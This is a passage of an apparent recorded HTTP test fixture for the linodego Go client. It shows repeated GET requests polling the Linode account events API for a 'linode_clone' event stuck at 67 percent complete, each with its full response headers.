'{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.821409, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.892472, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.963929, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 65.245005, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 65.303529, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 65.372661, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 65.434968, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 65.5041, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 65.860018, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.04999, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.114411, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.196947, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.257579, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.379743, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.459796, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.554806, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.614846, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 66.688396, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": 